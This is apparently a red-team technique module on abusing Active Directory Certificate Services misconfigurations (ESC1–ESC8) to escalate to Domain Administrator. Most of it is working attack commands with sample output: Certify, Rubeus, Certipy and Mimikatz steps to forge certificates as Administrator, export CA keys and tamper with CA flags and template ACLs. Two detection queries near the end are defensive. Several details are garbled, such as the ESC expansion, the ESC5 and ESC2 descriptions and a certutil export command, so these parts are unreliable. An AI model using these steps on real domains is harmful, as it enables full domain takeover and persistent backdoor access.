| Field | Value |
|---|---|
| Module ID | REC-CERT-001 |
| Technique Name | ADCS enumeration & certificate-based privilege escalation |
| MITRE ATT&CK ID | T1649 – Steal or Forge Authentication Certificates; T1649.001 – Certificates (ADCS) |
| CVE | CVE-2021-41355 (ESC7 vulnerable CA permissions), Multiple ESC vulnerabilities (ESC1-ESC16) |
| Platform | Windows Active Directory Certificate Services (ADCS) |
| Viability Status | ACTIVE ✓ (ESC vulnerabilities present in 60%+ of ADCS deployments) |
| Difficulty to Detect | HIGH (Certificate enrollment legitimate activity; long certificate validity periods) |
| Requires Authentication | Yes (Domain user with enrollment rights; often misconfigured) |
| Applicable Versions | All Windows ADCS deployments |
| Last Verified | December 2025 |
| Author | SERVTEP – Artur Pchelnikau |
Active Directory Certificate Services (ADCS) enumeration via Certify tool identifies misconfigurations in certificate templates enabling privilege escalation to Domain Administrator. Unlike patch-based vulnerabilities, ADCS ESC (Escalation to Privilege Escalation) vulnerabilities exploit fundamental design flaws: the ability to request certificates for arbitrary users when templates improperly allow “Supply in Request” subject names. Real-world deployments frequently permit low-privilege domain users to enroll in templates with client authentication EKUs, enabling certificate forging as any user including Domain Admins. Certificates can persist for years (default 1-5 year validity), enabling long-term backdoor access invisible to password-based monitoring.
Critical Attack Characteristics:
Real-World Impact:
Objective: Identify misconfigured certificate templates enabling ESC attacks.
# Step 1: Download Certify tool
# https://github.com/GhostPack/Certify
# Step 2: Enumerate vulnerable certificate templates
.\Certify.exe find /vulnerable
# Output: Vulnerable templates with exploitation paths
# Example:
# [*] Found 3 potentially vulnerable templates:
#
# Template Name: User
# Status: VULNERABLE (ESC1)
# Reasons:
# - Subject Alternative Name = Supplied in Request
# - Extended Key Usages = Client Authentication
# - No Manager Approval Required
# - No Authorization Requirements
#
# Template Name: WebServer
# Status: VULNERABLE (ESC2)
# Reason: No additional requirements; can be re-enrolled
#
# Template Name: DomainController
# Status: VULNERABLE (ESC3 + ESC4)
# Reason: Write access to template object (Domain Users can modify)
# Step 3: Identify specific vulnerability (ESC path)
.\Certify.exe find /vulnerable /enrolleeSuppliesSubject
# Returns templates where attacker can supply SAN
# Step 4: Check if current user can enroll
.\Certify.exe find /enrollable
# Shows which templates current user has enrollment rights
Objective: Exploit misconfigured template to request certificate as Domain Admin.
# Prerequisites:
# - User has enrollment rights on vulnerable template
# - Template allows "Supply in Request" Subject Name
# - Template has Client Authentication EKU
# Step 1: Request certificate as Domain Admin
.\Certify.exe request /ca:ca.domain.local\DOMAIN-CA /template:User /altname:Administrator
# Output: Certificate signing request (CSR)
# -----BEGIN CERTIFICATE REQUEST-----
# MIIDVDCCAjwCAQAweTELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNB...
# -----END CERTIFICATE REQUEST-----
# Step 2: Submit CSR to CA and retrieve certificate
.\Certify.exe submit /ca:ca.domain.local\DOMAIN-CA /request:request.csr
# Output: Certificate issued
# [*] Successfully retrieved certificate and chain
# [*] Writing certificate to file: cert.pem
# Step 3: Convert certificate to PFX (for authentication)
# Using OpenSSL or Windows CryptoAPI
openssl pkcs12 -export -in cert.pem -inkey key.pem -out admin.pfx
# Step 4: Authenticate as Domain Admin using forged certificate
.\Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /dc:dc.domain.local /enctype:aes256
# Output: TGT ticket for Administrator
# [*] Getting TGT via PKINIT
# [+] Successfully retrieved TGT
# Step 5: Pass-the-ticket to authenticate as Domain Admin
.\Rubeus.exe createnetonly /program:cmd.exe /ticket:ticket.kirbi
# Result: Command shell running as Domain Administrator
Objective: Exploit CA server local admin access to forge certificates indefinitely.
# Prerequisites:
# - Local administrator access on CA server
# - Access to CA private key
# Step 1: Export CA certificate and private key
# (Requires local admin on CA server)
certutil -dspublish -f \\ca.domain.local\C$\Windows\System32\certsrv\CertEnroll\ca.cer
# Or via Mimikatz:
privilege::debug
lsadump::lsa /patch # Dump CA credentials
crypto::certificates /export # Export CA certificate
# Step 2: Use Certipy to create Golden Certificate
certipy ca -admin -ca DOMAIN-CA -export-key -export-cert
# Output: CA certificate + private key exported
# [*] Exporting CA certificate
# [*] Exporting CA private key
# Step 3: Create forged certificate (impersonate any user)
# With CA private key, can sign any certificate
certipy cert -ca-pfx ca.pfx -upn Administrator@domain.local -create-cert
# Output: Forged certificate as Administrator (valid indefinitely)
# Step 4: Use forged certificate for authentication
# Now attacker has certificate signed by legitimate CA
# Can authenticate as Administrator for years
# Result: Persistent backdoor; undetectable via password monitoring
Objective: Exploit ManageCA/ManageCertificates permissions for privilege escalation.
# Prerequisites:
# - User has ManageCA or ManageCertificates permission on CA
# - Can modify CA configuration (EDITF_ATTRIBUTESUBJECTALTNAME2 flag)
# Step 1: Check current permissions
.\Certify.exe find /vulnerable /enrolleeSuppliesSubject /showPermissions
# Output shows if user has ManageCA rights
# Step 2: Enable EDITF_ATTRIBUTESUBJECTALTNAME2 flag
# (Allows supplying arbitrary SAN in certificate request)
# Using PSPKI PowerShell module:
Enable-ADCSPolicyModuleFlag -Identity "DOMAIN-CA" -Flag "EDITF_ATTRIBUTESUBJECTALTNAME2"
# Or via certutil:
certutil -setreg CA\Policy\EditFlags +0x00040000
# Step 3: Request certificate with forged SAN
# Now that EDITF_ATTRIBUTESUBJECTALTNAME2 is enabled
certreq -new request.inf request.csr
certutil -submit request.csr cert.cer
certutil -accept cert.cer
# Step 4: Request includes Administrator as SAN
# [*] SAN: Administrator@domain.local
# Result: Certificate forged as Domain Admin via ManageCA abuse
Objective: Modify vulnerable template ACLs to enable exploitation.
# Prerequisites:
# - User has Write access on certificate template object
# - Can modify template properties to introduce vulnerability
# Step 1: Identify templates with Write access
Get-Acl -Path "CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" |
Select-Object -ExpandProperty Access |
Where-Object { $_.AccessControlType -eq "Allow" -and $_.FileSystemRights -like "*Write*" }
# Step 2: Modify template to allow "Supply in Request" SAN
# (If currently set to "Supplied in Subject Name")
$template = Get-ADObject -Identity "CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local"
Set-ADObject -Identity $template -Add @{"msPKI-Supply-Subject-Alt-Name" = 1}
# Step 3: Now template is vulnerable to ESC1
# Step 4: Request certificate with forged SAN (as in Method 2)
# Result: Template transformed from secure to vulnerable via ACL abuse
SecurityEvent
| where EventID == 4886 // Certificate Services Request
| where CertificateTemplate !in ("DomainControllerAuth", "WebServer", "DirectoryEmailReplication")
| where RequesterUserName != UserPrincipalName // Requesting for different user
| summarize RequestCount = count(), Templates = dcount(CertificateTemplate)
by RequesterUserName, CertificateTemplate, bin(TimeGenerated, 1h)
| where RequestCount > 5 or Templates > 3 // Bulk requests
| extend AlertSeverity = "Critical"
SecurityEvent
| where EventID == 4887 // Certificate Services Issue
| where CertificateSubjectAltName contains "Administrator"
or CertificateSubjectAltName contains "krbtgt"
| where IssuerUserName != "SYSTEM" // Not issued by system account
| extend AlertSeverity = "Critical", Pattern = "Possible ESC privilege escalation"
Priority 1: CRITICAL
Priority 2: HIGH
| ESC | Vector | Requirements | Impact |
|---|---|---|---|
| ESC1 | Misconfigured template (SAN in request) | Client Auth EKU, no mgr approval | Domain Admin |
| ESC2 | Re-enrollment on vulnerable template | Agent template chain | Domain Admin |
| ESC3 | Two-template chain (agent + final) | Proper configuration chaining | Domain Admin |
| ESC4 | Write access on template object | Modify template properties | Domain Admin |
| ESC5 | Golden Certificate (CA compromise) | Local admin on CA server | Persistent backdoor |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 flag | CA flag enabled | Domain Admin |
| ESC7 | ManageCA permission abuse | ManageCA/ManageCertificates | Domain Admin |
| ESC8 | NTLM relay to HTTP enrollment | HTTP endpoint enabled | Domain Admin |